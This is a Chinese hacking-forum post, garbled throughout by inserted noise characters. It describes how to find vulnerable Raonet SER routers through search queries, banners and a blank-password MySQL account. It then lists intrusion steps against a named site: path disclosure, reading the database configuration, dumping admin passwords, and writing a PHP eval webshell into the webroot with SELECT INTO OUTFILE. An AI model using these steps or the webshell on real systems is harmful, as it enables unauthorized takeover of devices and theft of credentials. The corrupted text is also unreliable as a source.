寻找存在漏洞的路由器方法：4 `9 f; f3 D2 ~
( } C( n0 Z. S; e; ^
1：google搜索'Raonet Subscriber Ethernet Router'
0 U5 Y# a3 o! [/ {+ P2 e: d, f
2 e: C3 a7 @# g% P$ l0 c! Z n2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001. C& t% _$ P9 H6 t% c& W
$ q9 W6 A$ J$ G4 ]' h- f J% m* q3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。, ]1 h/ Z9 I; \! G k" a
+ z' u" N2 }3 N* r
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
1 g7 e3 v g- z/ ]: r7 a
$ H: n b5 } V
( @3 }$ Q; q. ]
5 d$ ]) p3 F3 |$ W" K# Y入侵步骤：
4 G3 ^5 L: a8 ]) R H0 p* Q5 `' X% V
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php4 U, d% f* Q9 M8 [6 A; L! N$ {, ^
* P9 h0 l+ j/ r. P D6 u. g2 \: T% o2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
: J. C! ^! u5 g8 w3：得到密码后连接，查看GUI管理密码：
0 {$ f2 ?" y( s/ r6 Z+ Wuse ser_500
, j& j- I9 s& a+ S. z# w( Gselect id,passwd from user;
/ B4 V* p3 l, c& N4:通过数据库写入webshell，执行命令：
. m" _5 b: t2 kuse mysql;% r+ f0 n+ ?) `- a3 q( ^7 t. H
create table ok(cmd TEXT);
S! D9 F1 V1 binsert into ok values("<?php @eval($_POST[cmd])?>");
% j, C1 \4 D" ~1 L' y3 w. [select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
, N7 F% o( Z; Vdrop table ok;8 O3 [ F8 C% m; }2 i4 o+ A0 y
, D* T) d. C' o4 |
5:连接后门shell.php
8 n9 n- L; o$ O6 T5 ]) N% v+ k. N' `9 W' l
6. 搞定！! [7 F! _3 g4 y; H
+ a9 k! X& x9 {3 E
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50